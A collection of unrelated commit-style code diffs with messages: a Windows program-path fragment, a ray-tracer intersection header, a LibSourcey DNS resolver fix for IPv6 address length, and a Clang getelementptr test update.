    char *buffer = NULL;

    while (1) {
      buffer = reallocWrapper(buffer, size<<=1);

      {
        DWORD length = GetModuleFileName(handle, buffer, size);

        if (!length) {
          LogWindowsError("GetModuleFileName");
          break;
        }

        if (length < size) {
          buffer[length] = 0;
          path = strdupWrapper(buffer);

          while (length > 0)
            if (path[--length] == '\\')
              path[length] = '/';

          break;
        }
      }
    }

    free(buffer);
  } else {
    LogWindowsError("GetModuleHandle");
  }

  return path;
}

Remove the use of PATH_MAX from the Windows implementation of getProgramPath(). (dm)

git-svn-id: 30a5f035a20f1bc647618dbad7eea2a951b61b7c@1287 91a5dbb7-01b9-0310-9b5f-b28072856b6e


/*
 * Contains the information about an intersection.
 * Author: Dino Wernli
 */

#ifndef INTERSECTIONDATA_H_
#define INTERSECTIONDATA_H_

#include "scene/element.h"
#include "scene/material.h"
#include "util/point3.h"
#include "util/ray.h"

struct IntersectionData {
  // Builds a new struct for this specific ray. The ray is necessary in order to
  // initialize "t" to the maximum "t" allowed by the ray.
  IntersectionData(const Ray& ray)
      : t(ray.max_t()), element(NULL), material(NULL) {}

  Scalar t;
  Point3 position;
  Vector3 normal;
  const Element* element;
  const Material* material;
};

#endif /* INTERSECTIONDATA_H_ */

/*
 * Contains the information about an intersection.
 * Author: Dino Wernli
 */

#ifndef INTERSECTIONDATA_H_
#define INTERSECTIONDATA_H_

#include "scene/element.h"
#include "scene/material.h"
#include "util/point3.h"
#include "util/ray.h"

struct IntersectionData {
  // Builds a new struct for this specific ray. The ray is necessary in order to
  // initialize "t" to the maximum "t" allowed by the ray.
  IntersectionData(const Ray& ray)
      : t(ray.max_t()), element(NULL), material(NULL) {}

  bool Intersected() const { return element != NULL; }

  Scalar t;
  Point3 position;
  Vector3 normal;
  const Element* element;
  const Material* material;
};

#endif /* INTERSECTIONDATA_H_ */

Add intersected query to data.

Add intersected query to data.


///
//
// LibSourcey
// Copyright (c) 2005, Sourcey <https://sourcey.com>
//
// SPDX-License-Identifier: LGPL-2.1+
//
/// @addtogroup net
/// @{

#ifndef SCY_Net_DNS_H
#define SCY_Net_DNS_H

#include "scy/net/net.h"
#include "scy/net/address.h"
#include "scy/request.h"
#include "scy/logger.h"
#include "scy/util.h"

namespace scy {
namespace net {

/// DNS utilities.
namespace dns {

inline auto resolve(const std::string& host, int port,
                    std::function<void(int,const net::Address&)> callback,
                    uv::Loop* loop = uv::defaultLoop())
{
    return uv::createRequest<uv::GetAddrInfoReq>([&](const uv::GetAddrInfoEvent& event) {
        if (event.status) {
            LWarn("Cannot resolve DNS for ", host, ": ", uv_strerror(event.status))
            callback(event.status, net::Address{});
        }
        else
            callback(event.status, net::Address{event.addr->ai_addr, 16});
    }).resolve(host, port, loop);
}

} // namespace dns
} // namespace net
} // namespace scy

#endif // SCY_Net_DNS_H

/// @\}

///
//
// LibSourcey
// Copyright (c) 2005, Sourcey <https://sourcey.com>
//
// SPDX-License-Identifier: LGPL-2.1+
//
/// @addtogroup net
/// @{

#ifndef SCY_Net_DNS_H
#define SCY_Net_DNS_H

#include "scy/net/net.h"
#include "scy/net/address.h"
#include "scy/request.h"
#include "scy/logger.h"
#include "scy/util.h"

namespace scy {
namespace net {

/// DNS utilities.
namespace dns {

inline auto resolve(const std::string& host, int port,
                    std::function<void(int,const net::Address&)> callback,
                    uv::Loop* loop = uv::defaultLoop())
{
    return uv::createRequest<uv::GetAddrInfoReq>([&](const uv::GetAddrInfoEvent& event) {
        if (event.status) {
            LWarn("Cannot resolve DNS for ", host, ": ", uv_strerror(event.status))
            callback(event.status, net::Address{});
        }
        else
            callback(event.status, net::Address{event.addr->ai_addr, event.addr->ai_addrlen});
    }).resolve(host, port, loop);
}

} // namespace dns
} // namespace net
} // namespace scy

#endif // SCY_Net_DNS_H

/// @\}

Fix hardcoded address length (IPv6 address are > 16 in length)


// RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s

char buffer[32] = "This is a largely unused buffer";

// __builtin___clear_cache always maps to @llvm.clear_cache, but what
// each back-end produces is different, and this is tested in LLVM

int main() {
  __builtin___clear_cache(buffer, buffer+32);
// CHECK: @llvm.clear_cache(i8* getelementptr {{.*}}, i8* getelementptr {{.*}} (i8* getelementptr {{.*}} 32))
  return 0;
}

// RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s

char buffer[32] = "This is a largely unused buffer";

// __builtin___clear_cache always maps to @llvm.clear_cache, but what
// each back-end produces is different, and this is tested in LLVM

int main() {
  __builtin___clear_cache(buffer, buffer+32);
// CHECK: @llvm.clear_cache(i8* getelementptr inbounds ({{.*}}, i8* getelementptr inbounds (i8* getelementptr inbounds ({{.*}} 32))
  return 0;
}

Update test case to be compatible with auto-migration to new getelementptr syntax coming in the near future

The first change won't touch GEPOperators such as these, but the update
script only identifies them by the leading '(' after getelementptr or
'getelementptr inbounds', so update this test to at least have those
features to allow auto-migrating.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@229198 91177308-0d34-0410-b5e6-96231b3b80d8